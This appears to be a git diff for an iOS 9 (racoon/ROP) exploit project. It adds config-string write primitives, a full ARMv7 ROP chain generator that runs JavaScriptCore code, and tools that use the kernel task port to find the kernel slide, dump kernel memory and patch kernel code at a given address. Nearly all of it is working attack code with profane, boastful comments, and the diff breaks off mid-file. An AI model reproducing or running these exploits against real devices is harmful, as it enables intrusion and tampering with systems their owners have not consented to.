+char* writebuf_old_unslid(uint32_t where,
+ char* what,
+ uint32_t len) {
+ char* ret = "";
+ uint32_t* lol = (uint32_t*)what;
+
+ while (((void*)lol - (void*)what) < len) {
+ _asprintf(&ret,
+ "%s%s",
+ ret,
+ write32_unslid_pre(where + ((void*)lol - (void*)what)));
+
+ /*
+ * i make an exception for 80 cols here
+ */
+
+ _asprintf(&ret, "%stimer{", ret);
+
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%scounter%u;", ret, *lol); lol++; }
+
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sinterval%usec;", ret, *lol); lol++; }
+
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%spersend%u;", ret, *lol); lol++; }
+
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase1%usec;", ret, *lol); lol++; }
+
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase2%usec;", ret, *lol); lol++; }
+
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%snatt_keepalive%usec;", ret, *lol); lol++; }
+
+ _asprintf(&ret,
+ "%s}",
+ ret);
+ }
+
+ strcpy(fuck_memory_leaks, ret);
+
+ free(ret);
+
+ return fuck_memory_leaks;
+
+ return ret;
+}
+
+char* writebuf_unslid(uint32_t where,
+ char* what,
+ uint32_t len) {
+ char* ret = "";
+ uint32_t* lol = (uint32_t*)what;
+
+#if 0
+ for (uint32_t here = where; here < where + len; here++) {
+ asprintf(&ret,
+ "%s%s",
+ ret,
+ write32_unslid_pre(here));
+
+ asprintf(&ret, "%stimer{counter%u;}", ret, *(uint8_t*)(what + (here - where)));
+ }
+#endif
+
+#if 1
+ while (((void*)lol - (void*)what) < len) {
+ _asprintf(&ret,
+ "%s%s",
+ ret,
+ write32_unslid_pre(where + ((void*)lol - (void*)what)));
+
+ /*
+ * i make an exception for 80 cols here
+ */
+
+ _asprintf(&ret, "%stimer{", ret);
+
+
+ /*
+ * this is so fucking ugly
+ */
+ if ((((*lol) & 0x80000000) >> 31) == 1) {
+lol:
+ _asprintf(&ret,
+ "%s}",
+ ret);
+
+ for (uint32_t here = ((void*)lol - (void*)what); here < ((void*)lol - (void*)what) + 4; here++) {
+ _asprintf(&ret,
+ "%s%s",
+ ret,
+ write32_unslid_pre(here + where));
+ _asprintf(&ret, "%stimer{counter%u;}", ret, *(uint8_t*)(what + (here)));
+ }
+
+ lol++;
+ continue;
+ }
+
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%scounter%u;", ret, *lol); lol++; }
+
+ if ((((*lol) & 0x80000000) >> 31) == 1) goto lol;
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sinterval%usec;", ret, *lol); lol++; }
+
+ if ((((*lol) & 0x80000000) >> 31) == 1) goto lol;
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%spersend%u;", ret, *lol); lol++; }
+
+ if ((((*lol) & 0x80000000) >> 31) == 1) goto lol;
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase1%usec;", ret, *lol); lol++; }
+
+ if ((((*lol) & 0x80000000) >> 31) == 1) goto lol;
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase2%usec;", ret, *lol); lol++; }
+
+ if ((((*lol) & 0x80000000) >> 31) == 1) goto lol;
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%snatt_keepalive%usec;", ret, *lol); lol++; }
+
+ _asprintf(&ret,
+ "%s}",
+ ret);
+ }
+#endif
+
+ return ret;
+}
diff --git a/src/stage1_primitives.h b/src/stage1_primitives.h
new file mode 100755
index 0000000..d6b9c33
--- /dev/null
+++ b/src/stage1_primitives.h
@@ -0,0 +1,19 @@
+#ifndef STAGE1_PRIMITIVES_H
+#define STAGE1_PRIMITIVES_H
+
+#include <stdint.h>
+
+extern uint32_t LC_CONF_OFFSET;
+
+char* write32_unslid(uint32_t where,
+ uint32_t what);
+
+char* writebuf_old_unslid(uint32_t where,
+ char* what,
+ uint32_t len);
+
+char* writebuf_unslid(uint32_t where,
+ char* what,
+ uint32_t len);
+
+#endif \ No newline at end of file
diff --git a/src/stage2.c b/src/stage2.c
new file mode 100644
index 0000000..4297e79
--- /dev/null
+++ b/src/stage2.c
@@ -0,0 +1,400 @@
+/*
+ * drunk_rac00n
+ *
+ * we call this "ROP" round these parts
+ * steal everything, kill everyone, cause total financial ruin.
+ *
+ * this exploit is seriously garbage, but gawd damnit it exploits the thing
+ *
+ * hax
+ */
+
+#include <mach-o/dyld.h>
+#include "stage2.h"
+#include <stdint.h>
+#include <stdlib.h>
+#include <syslog.h>
+#include <dlfcn.h>
+#include <stdio.h>
+
+#define MOV_R0(what) do { \
+ chain[chain_len++] = what; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + mov_r0; \
+} while (0)
+
+#define CALL(what) do { \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = what; \
+ chain[chain_len++] = base + nulls_addr; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + blx_r5; \
+} while (0)
+
+#define CALL_1ARG(what, arg) do { \
+ MOV_R0(arg); \
+ CALL(what); \
+} while (0)
+
+#define STR_R0(where) do { \
+ chain[chain_len++] = where; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + str_r0_r4; \
+ chain[chain_len++] = where; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + mov_r0; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + ldr_r0_r0; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + nop; \
+} while (0)
+
+#define MOV_R1_R0() do { \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + mov_r1_r0; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + nop; \
+} while (0)
+
+#define DEREF_IN_R0(what) do { \
+ chain[chain_len++] = what; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + mov_r0; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + ldr_r0_r0; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + nop; \
+} while (0)
+
+#define DEREF_R0() do { \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + ldr_r0_r0; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + nop; \
+} while (0)
+
+#define MOV_R1(what) do { \
+ chain[chain_len++] = what; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + mov_r0; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + mov_r1_r0; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + nop; \
+} while (0)
+
+#define ADD_R0_R1() do { \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + add_r0_r1; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + nop; \
+} while (0)
+
+#define CALL_4_ARG_L2_0(what, arg1, arg2) do { \
+ MOV_R0(0); \
+ STR_R0(base + reserve_addr + 0x40000); \
+ MOV_R0(base + weird_r3); \
+ STR_R0(base + reserve_addr + 0x4014); \
+ MOV_R0(base + reserve_addr + 0x4000); \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = arg2; \
+ chain[chain_len++] = base + reserve_addr + 0x40000; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + other_weird_r3; \
+ MOV_R0(arg1); \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = what; \
+} while (0) \
+
+#define CALL_4_PTRARG_L2_0(what, arg1, arg2) do { \
+ DEREF_IN_R0(arg1); \
+ STR_R0(stack_base + (chain_len * 4) + 520); \
+ DEREF_IN_R0(arg2); \
+ STR_R0(stack_base + (chain_len * 4) + 340); \
+ MOV_R0(0); \
+ STR_R0(base + reserve_addr + 0x40000); \
+ MOV_R0(base + weird_r3); \
+ STR_R0(base + reserve_addr + 0x4014); \
+ MOV_R0(base + reserve_addr + 0x4000); \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = 0x32323232; \
+ chain[chain_len++] = base + reserve_addr + 0x40000; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + other_weird_r3; \
+ MOV_R0(0x31313131); \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = what; \
+ chain[chain_len++] = 0; \
+ chain[chain_len++] = 0; \
+ chain[chain_len++] = 0; \
+ chain[chain_len++] = 0; \
+ chain[chain_len++] = base + nop; \
+} while (0) \
+
+#define CALL_SLID_4_ARG_L2_0(what, arg1, arg2) do { \
+ DEREF_IN_R0(base + reserve_addr + 20); \
+ MOV_R1_R0(); \
+ MOV_R0(what); \
+ ADD_R0_R1(); \
+ STR_R0(stack_base + (chain_len * 4) + 392); \
+ CALL_4_ARG_L2_0(0x12345678, arg1, arg2); \
+} while (0)
+
+#define CALL_SLID(what) do { \
+ STR_R0(base + reserve_addr + 444); \
+ DEREF_IN_R0(base + reserve_addr + 20); \
+ MOV_R1_R0(); \
+ MOV_R0(what); \
+ ADD_R0_R1(); \
+ STR_R0(base + reserve_addr + 448); \
+ MOV_R1(0); \
+ DEREF_IN_R0(base + reserve_addr + 448); \
+ STR_R0(stack_base + (chain_len * 4) + 96 + (18 * 4)); \
+ DEREF_IN_R0(base + reserve_addr + 444); \
+ CALL(0x1234567c); \
+} while (0)
+
+#define CALL_SLID_4_PTRARG_L2_0(what, arg1, arg2) do { \
+ DEREF_IN_R0(base + reserve_addr + 20); \
+ MOV_R1_R0(); \
+ MOV_R0(what); \
+ ADD_R0_R1(); \
+/* MOV_R1_R0(); \
+ CALL_1ARG(base + printf_addr, base + dyld_shc_base_status); \
+*/ STR_R0(stack_base + (chain_len * 4) + 720); \
+ CALL_4_PTRARG_L2_0(0x12345679, arg1, arg2); \
+} while (0)
+
+#define PRINT_STILL_HERE() do { \
+/* CALL_1ARG(base + printf_addr, 0x109000); */\
+} while (0)
+
+uintptr_t get_dyld_shc_slide(void) {
+ return _dyld_get_image_vmaddr_slide(1);
+}
+
+uintptr_t get_dyld_shc_sym_addr(char* sym) {
+ return dlsym(RTLD_DEFAULT, sym) - get_dyld_shc_slide();
+}
+
+rop_chain_shit gen_rop_chain(uint32_t base,
+ uint32_t we_out_here_addr,
+ uint32_t mov_r0,
+ uint32_t puts_addr,
+ uint32_t blx_r5,
+ uint32_t nulls_addr,
+ uint32_t malloc_addr,
+ uint32_t mov_r1_r0,
+ uint32_t nop,
+ uint32_t malloc_status_addr,
+ uint32_t printf_addr,
+ uint32_t exit_addr,
+ uint32_t str_r0_r4,
+ uint32_t reserve_addr,
+ uint32_t ldr_r0_r0,
+ uint32_t add_r0_r1,
+ uint32_t stack_base,
+ uint32_t dyld_shc_base_status,
+ uint32_t scprefcreate_dsc_offset,
+ uint32_t scprefcreate_lazy_offset,
+ uint32_t weird_r3,
+ uint32_t other_weird_r3) {
+ /*
+ * to quote qwertyoruiop:
+ * ROP Insanity.
+ *
+ * Message to security researchers, feds and apple employees:
+ *
+ * If you want to understand this, you have to hit a blunt.
+ * I don't care if you're at work. Roll a fat one and smoke it. Right now.
+ *
+ * If your boss questions this, feel free to tell him to contact me. I'll explain how crucial THC is for this shit.
+ */
+
+ /*
+ * this is definitely overkill
+ */
+ uint32_t* chain = (uint32_t*)calloc(0x100000, sizeof(uint32_t));
+ uint32_t chain_len = 0;
+
+ rop_chain_shit chain_b0i = (rop_chain_shit)malloc(sizeof(struct rop_chain_shit_t));
+
+ /* output "intro" string */
+ CALL_1ARG(base + puts_addr, base + we_out_here_addr);
+
+// CALL_4_ARG_L2_0(base + 0x9ad8c, LOG_SYSLOG, base + we_out_here_addr);
+
+ /* allocate memory for file read later */
+ CALL_1ARG(base + malloc_addr, 0x100000);
+ STR_R0(base + reserve_addr);
+ MOV_R1_R0();
+
+ /* output malloc string */
+ CALL_1ARG(base + printf_addr, base + malloc_status_addr);
+
+ /* calculate dyld_shared_cache slide */
+ MOV_R0(0 - (0x20000000 + scprefcreate_dsc_offset));
+ MOV_R1_R0();
+ DEREF_IN_R0(base + scprefcreate_lazy_offset);
+ ADD_R0_R1();
+ STR_R0(base + reserve_addr + 20);
+
+ /* calculate dyld_shared_cache slide */
+ MOV_R0(0 - (scprefcreate_dsc_offset));
+ MOV_R1_R0();
+ DEREF_IN_R0(base + scprefcreate_lazy_offset);
+ ADD_R0_R1();
+ STR_R0(base + reserve_addr + 16);
+
+ /* print the status string */
+ MOV_R1_R0();
+ CALL_1ARG(base + printf_addr, base + dyld_shc_base_status);
+
+// uint32_t slid_b0i = 0x2b14000;
+
+ uint32_t JSContextGroupCreate = get_dyld_shc_sym_addr("JSContextGroupCreate");
+ uint32_t JSGlobalContextCreateInGroup = get_dyld_shc_sym_addr("JSGlobalContextCreateInGroup");
+ uint32_t JSContextGetGlobalObject = get_dyld_shc_sym_addr("JSContextGetGlobalObject");
+ uint32_t JSStringCreateWithUTF8CString = get_dyld_shc_sym_addr("JSStringCreateWithUTF8CString");
+ uint32_t JSEvaluateScript = get_dyld_shc_sym_addr("JSEvaluateScript");
+ uint32_t dlsym_ = get_dyld_shc_sym_addr("dlsym");
+
+ MOV_R0(dlsym_);
+ STR_R0(base + reserve_addr + 24);
+
+// uint32_t settimeofday = get_dyld_shc_sym_addr("settimeofday");
+
+// fprintf(stderr, "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x\n", JSContextGroupCreate, JSGlobalContextCreateInGroup, JSContextGetGlobalObject, JSStringCreateWithUTF8CString, JSEvaluateScript, stime);
+
+/*
+ MOV_R0(0);
+ STR_R0(base + 0x140000);
+ STR_R0(base + 0x140004);
+
+ MOV_R0(0);
+ MOV_R1_R0();
+ MOV_R0(base + 0x140000);
+ CALL_SLID(settimeofday);
+ */
+
+ PRINT_STILL_HERE();
+ CALL_SLID(JSContextGroupCreate);
+ STR_R0(base + reserve_addr + 0x40);
+ MOV_R1_R0();
+ PRINT_STILL_HERE();
+ MOV_R1(0);
+ DEREF_IN_R0(base + reserve_addr + 0x40);
+
+ CALL_SLID(JSGlobalContextCreateInGroup);
+ STR_R0(base + reserve_addr + 0x44);
+ MOV_R1_R0();
+ PRINT_STILL_HERE();
+ DEREF_IN_R0(base + reserve_addr + 0x44);
+
+ CALL_SLID(JSContextGetGlobalObject);
+ STR_R0(base + reserve_addr + 0x48);
+ PRINT_STILL_HERE();
+ DEREF_IN_R0(base + reserve_addr + 0x48);
+ MOV_R1_R0();
+ MOV_R0(0x108000);
+
+ CALL_SLID(JSStringCreateWithUTF8CString);
+ STR_R0(base + reserve_addr + 0x48);
+ PRINT_STILL_HERE();
+ DEREF_IN_R0(base + reserve_addr + 0x48);
+ MOV_R1_R0();
+ CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48);
+ MOV_R1_R0();
+ PRINT_STILL_HERE();
+
+ uint32_t slide = (base) >> 12;
+
+ fprintf(stderr, "%x %x\n", base, stack_base);
+ fprintf(stderr, "%x\n", get_dyld_shc_slide());
+
+ MOV_R0(0x422260);
+ STR_R0(0x422290);
+// MOV_R0(0x2022260);
+// STR_R0(0x2022290);
+ // MOV_R0(0x422260);
+ // STR_R0(0x422290);
+
+ MOV_R0(0x10a000);
+ CALL_SLID(JSStringCreateWithUTF8CString);
+ STR_R0(base + reserve_addr + 0x48);
+ PRINT_STILL_HERE();
+/*
+ DEREF_IN_R0(base + reserve_addr + 0x48);
+ MOV_R1_R0();
+ */
+ CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48);
+ MOV_R1_R0();
+ PRINT_STILL_HERE();
+
+// DEREF_IN_R0(0x144444);
+// MOV_R1_R0();
+// CALL_1ARG(base + printf_addr, base + dyld_shc_base_status);
+
+// CALL_1ARG(base + printf_addr, 0x109000);
+
+ /* exit */
+ CALL_1ARG(base + exit_addr, 69);
+
+ chain_b0i->teh_chain = chain;
+ chain_b0i->chain_len = chain_len * 4;
+
+ return chain_b0i;
+} \ No newline at end of file
diff --git a/src/stage2.h b/src/stage2.h
new file mode 100644
index 0000000..0c7b62b
--- /dev/null
+++ b/src/stage2.h
@@ -0,0 +1,40 @@
+#ifndef SHITTY_ROP_H
+#define SHITTY_ROP_H
+
+#include <stdint.h>
+
+struct rop_chain_shit_t {
+ uint32_t* teh_chain;
+ uint32_t chain_len;
+};
+
+typedef struct rop_chain_shit_t* rop_chain_shit;
+
+#define GARBAGE 0x6A9BA6E
+//#define UNUSED 0xEEEEEEEE
+#define UNUSED 0x40000000 | (0x100000 + (__LINE__))
+
+rop_chain_shit gen_rop_chain(uint32_t base,
+ uint32_t default_domain_addr,
+ uint32_t mov_r0,
+ uint32_t puts_addr,
+ uint32_t blx_r5,
+ uint32_t nulls_addr,
+ uint32_t malloc_addr,
+ uint32_t mov_r1_r0,
+ uint32_t nop,
+ uint32_t malloc_status_addr,
+ uint32_t printf_addr,
+ uint32_t exit_addr,
+ uint32_t str_r0_r4,
+ uint32_t reserve_addr,
+ uint32_t ldr_r0_r0,
+ uint32_t add_r0_r1,
+ uint32_t stack_base,
+ uint32_t dyld_shc_base_status,
+ uint32_t scprefcreate_dsc_offset,
+ uint32_t scprefcreate_lazy_offset,
+ uint32_t weird_r3,
+ uint32_t other_weird_r3);
+
+#endif \ No newline at end of file
diff --git a/tools/build.sh b/tools/build.sh
new file mode 100755
index 0000000..5baab83
--- /dev/null
+++ b/tools/build.sh
@@ -0,0 +1,8 @@
+mkdir bin
+xcrun -sdk iphoneos clang -arch armv7 fuck_aslr.c -o bin/fuck_aslr; ldid -Sent.xml bin/fuck_aslr; cat bin/fuck_aslr | ssh root@localhost -p 2222 "rm fuck_aslr; cat > fuck_aslr; chmod +x fuck_aslr"
+xcrun -sdk iphoneos clang -arch armv7 fuck_aslr2.c -o bin/fuck_aslr2; ldid -Sent.xml bin/fuck_aslr2; cat bin/fuck_aslr2 | ssh root@localhost -p 2222 "rm fuck_aslr2; cat > fuck_aslr2; chmod +x fuck_aslr2"
+xcrun -sdk iphoneos clang -arch armv7 fuck_ptr.c -o bin/fuck_ptr; ldid -S bin/fuck_ptr; cat bin/fuck_ptr | ssh root@localhost -p 2222 "rm fuck_ptr; cat > fuck_ptr; chmod +x fuck_ptr"
+xcrun -sdk iphoneos clang -arch armv7 jit_all_the_things.c -o bin/jit_all_the_things; ldid -S bin/jit_all_the_things; cat bin/jit_all_the_things | ssh root@localhost -p 2222 "rm jit_all_the_things; cat > jit_all_the_things; chmod +x jit_all_the_things"
+xcrun -sdk iphoneos clang -arch armv7 jsc_fun.c -framework JavaScriptCore -o bin/jsc_fun; ldid -S bin/jsc_fun; cat bin/jsc_fun | ssh root@localhost -p 2222 "rm jsc_fun; cat > jsc_fun; chmod +x jsc_fun"
+
+scp -P 2222 lol.js root@localhost:/var/root/lol.js \ No newline at end of file
diff --git a/tools/ent.xml b/tools/ent.xml
new file mode 100755
index 0000000..35801e8
--- /dev/null
+++ b/tools/ent.xml
@@ -0,0 +1,15 @@
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+ <key>platform-application</key>
+ <true/>
+ <key>com.apple.private.security.no-container</key>
+ <true/>
+ <key>com.apple.system-task-ports</key>
+ <true/>
+ <key>task_for_pid-allow</key>
+ <true/>
+ <key>get-task-allow</key>
+ <true/>
+</dict>
+</plist> \ No newline at end of file
diff --git a/tools/envdump.c b/tools/envdump.c
new file mode 100644
index 0000000..4536d00
--- /dev/null
+++ b/tools/envdump.c
@@ -0,0 +1,17 @@
+#include <unistd.h>
+#include <stdio.h>
+
+int main(int argc, char* argv[], char* envp[]) {
+ char** environ_ = envp;
+
+ FILE* fp = fopen("/tmp/envdump.txt", "w");
+
+ while (*environ_) {
+ fprintf(fp, "%s\n", *environ_);
+ environ_++;
+ }
+
+ fclose(fp);
+
+ return 0;
+} \ No newline at end of file
diff --git a/tools/envrun.c b/tools/envrun.c
new file mode 100644
index 0000000..bc5dd08
--- /dev/null
+++ b/tools/envrun.c
@@ -0,0 +1,25 @@
+#include <unistd.h>
+#include <stdio.h>
+
+int main(int argc, char* argv[]) {
+ char* argv_[] = {
+ "/bin/sh",
+ NULL
+ };
+
+ char* envp_[] = {
+ "SHELL=/bin/sh",
+ "USER=mobile",
+ "HOME=/var/mobile",
+ "XPC_FLAGS=0x0",
+ "XPC_SERVICE_NAME=0",
+ "LOGNAME=mobile",
+ "PATH=/usr/bin:/bin:/usr/sbin:/sbin",
+ "__CF_USER_TEXT_ENCODING=0x1F5:0:0",
+ NULL
+ };
+
+ execle("/bin/sh", "/bin/sh", NULL, envp_);
+
+ return 0;
+} \ No newline at end of file
diff --git a/tools/fuck_aslr.c b/tools/fuck_aslr.c
new file mode 100755
index 0000000..c8e9714
--- /dev/null
+++ b/tools/fuck_aslr.c
@@ -0,0 +1,114 @@
+/*
+ * fuck_aslr
+ */
+
+#include <stdio.h>
+#include <mach/mach.h>
+
+task_t tfp0;
+#define LC_SIZE 0x0000000f
+
+uint8_t lol[] = {
+ 0x40, 0xf2, 0x69, 0x00
+};
+
+mach_port_t get_kernel_task_port() {
+ mach_port_t kernel_task;
+ kern_return_t kr;
+ if ((kr = task_for_pid(mach_task_self(), 0, &kernel_task)) != KERN_SUCCESS) {
+ return -1;
+ }
+ return kernel_task;
+}
+
+uint32_t do_kernel_read(uint32_t addr) {
+ size_t size = 4;
+ uint32_t data = 0;
+
+ kern_return_t kr = vm_read_overwrite(get_kernel_task_port(),(vm_address_t)addr,size,(vm_address_t)&data,&size);
+ if (kr != KERN_SUCCESS) {
+ printf("[!] Read failed. %s\n",mach_error_string(kr));
+ return -1;
+ }
+ return data;
+}
+
+void do_kernel_write(uint32_t addr, uint32_t data) {
+ kern_return_t kr = vm_write(get_kernel_task_port(),(vm_address_t)addr,(vm_address_t)&data,sizeof(data));
+
+ if (kr != KERN_SUCCESS) {
+ printf("Error writing!\n");
+ return;
+ }
+}
+
+uint32_t get_kernel_slide() {
+ uint32_t slide;
+ uint32_t base = 0x80001000;
+ uint32_t slid_base;
+
+ for (int slide_byte = 256; slide_byte >= 1; slide_byte--) {
+ slide = 0x01000000 + 0x00200000 * slide_byte;
+ slid_base = base + slide;
+
+ if (do_kernel_read(slid_base) == 0xfeedface) {
+ if (do_kernel_read(slid_base + 0x10) == LC_SIZE) {
+ return slide;
+ }
+ }
+ }
+ return -1;
+}
+
+int main(int argc, char* argv[]) {
+ printf("[*] fuck aslr\n");
+ task_for_pid(mach_task_self(), 0, &tfp0);
+ uint8_t lol_slide;
+ /*
+ * LAB_8029c06e XREF[1]: 8029c04e(j)
+ * 8029c06e 4c a8 add r0,sp,#0x130
+ * 8029c070 04 21 movs r1,#0x4
+ * 8029c072 15 f6 d5 bl _read_random void _read_random(void * buf
+ * fb
+ * 8029c076 c4 f1 14 rsb.w r0,r4,#0x14
+ * 00
+ * 8029c07a 01 21 movs r1,#0x1
+ * 8029c07c 01 fa 00 lsl.w r8,r1,r0
+ * f8
+ * 8029c080 4c 98 ldr r0,[sp,#local_190]
+ * 8029c082 4f ea e8 asr.w r11,r8, asr #0x1f
+ * 7b
+ * 8029c086 00 21 movs r1,#0x0
+ * 8029c088 20 f0 00 bic r0,r0,#0x80000000
+ * 40
+ * 8029c08c 42 46 mov r2,r8
+ * 8029c08e 5b 46 mov r3,r11
+ * 8029c090 f7 f0 b6 bl FUN_80393200 undefined FUN_80393200()
+ * f8
+ * 8029c094 82 46 mov r10,r0
+ * 8029c096 0e 46 mov r6,r1
+ * 8029c098 2c 46 mov r4,r5
+ * 8029c09a 00 2d cmp r5,#0x0
+ * 8029c09c 01 d0 beq LAB_8029c0a2
+ * 8029c09e e5 6a ldr r5,[r4,#0x2c]
+ * 8029c0a0 00 e0 b LAB_8029c0a4
+
+ */
+ uint32_t patch_addy = 0x8029c088; // iPad2,1 9.3.5
+ if (argc < 2) {
+ lol_slide = 0x0;
+ } else {
+ lol_slide = strtoul(argv[1], NULL, 16);
+ }
+ if (argc != 3) {
+ lol[2] = lol_slide;
+ printf("[*] vm_write returned %d\n", vm_write(tfp0, patch_addy + get_kernel_slide(), (vm_address_t)lol, sizeof(lol)));
+ } else {
+ lol[0] = 0x20;
+ lol[1] = 0xf0;
+ lol[2] = 0x00;
+ lol[3] = 0x40;
+ printf("[*] vm_write returned %d\n", vm_write(tfp0, patch_addy + get_kernel_slide(), (vm_address_t)lol, sizeof(lol)));
+ }
+ return 0;
+} \ No newline at end of file
diff --git a/tools/fuck_aslr2.c b/tools/fuck_aslr2.c
new file mode 100644
index 0000000..9181bcc
--- /dev/null
+++ b/tools/fuck_aslr2.c
@@ -0,0 +1,86 @@
+/*
+ * fuck_aslr
+ */
+
+#include <stdio.h>
+#include <mach/mach.h>
+
+task_t tfp0;
+#define LC_SIZE 0x0000000f
+
+uint8_t lol[] = {
+ 0x40, 0xf2, 0x69, 0x00
+};
+
+mach_port_t get_kernel_task_port() {
+ mach_port_t kernel_task;
+ kern_return_t kr;
+ if ((kr = task_for_pid(mach_task_self(), 0, &kernel_task)) != KERN_SUCCESS) {
+ return -1;
+ }
+ return kernel_task;
+}
+
+uint32_t do_kernel_read(uint32_t addr) {
+ size_t size = 4;
+ uint32_t data = 0;
+
+ kern_return_t kr = vm_read_overwrite(get_kernel_task_port(),(vm_address_t)addr,size,(vm_address_t)&data,&size);
+ if (kr != KERN_SUCCESS) {
+ printf("[!] Read failed. %s\n",mach_error_string(kr));
+ return -1;
+ }
+ return data;
+}
+
+void do_kernel_write(uint32_t addr, uint32_t data) {
+ kern_return_t kr = vm_write(get_kernel_task_port(),(vm_address_t)addr,(vm_address_t)&data,sizeof(data));
+
+ if (kr != KERN_SUCCESS) {
+ printf("Error writing!\n");
+ return;
+ }
+}
+
+uint32_t get_kernel_slide() {
+ uint32_t slide;
+ uint32_t base = 0x80001000;
+ uint32_t slid_base;
+
+ for (int slide_byte = 256; slide_byte >= 1; slide_byte--) {
+ slide = 0x01000000 + 0x00200000 * slide_byte;
+ slid_base = base + slide;
+
+ if (do_kernel_read(slid_base) == 0xfeedface) {
+ if (do_kernel_read(slid_base + 0x10) == LC_SIZE) {
+ return slide;
+ }
+ }
+ }
+ return -1;
+}
+
+int main(int argc, char* argv[]) {
+ vm_size_t segment = 0x800;
+ uint32_t lol = get_kernel_slide();
+ task_t tfp0 = get_kernel_task_port();
+ uint32_t len = 32 * 1024 * 1024;
+ uint8_t* kdata = (uint8_t*)malloc(len);
+ for (int i = 0; i < len / segment; i++) {
+ /*
+ * DUMP DUMP DUMP
+ */
+
+ vm_read_overwrite(tfp0,
+ 0x80001000 + lol + (i * segment),
+ segment,
+ (vm_address_t)kdata + (i * segment),
+ &segment);
+ }
+
+ FILE* fp = fopen("dump.bin", "wb");
+ fwrite(kdata, 1, len, fp);
+ fclose(fp);
+
+ return 0;
+} \ No newline at end of file
diff --git a/tools/fuck_ptr.c b/tools/fuck_ptr.c
new file mode 100755
index 0000000..25eab56
--- /dev/null
+++ b/tools/fuck_ptr.c
@@ -0,0 +1,60 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <mach/mach.h>
+
+#include <mach-o/dyld.h>
+
+#include <dlfcn.h>
+
+int lol;
+
+int main(void) {
+// printf("[*] aslr better be a cripple now: &lol = %p, malloc(...) = %p\n", &lol, malloc(0x4));
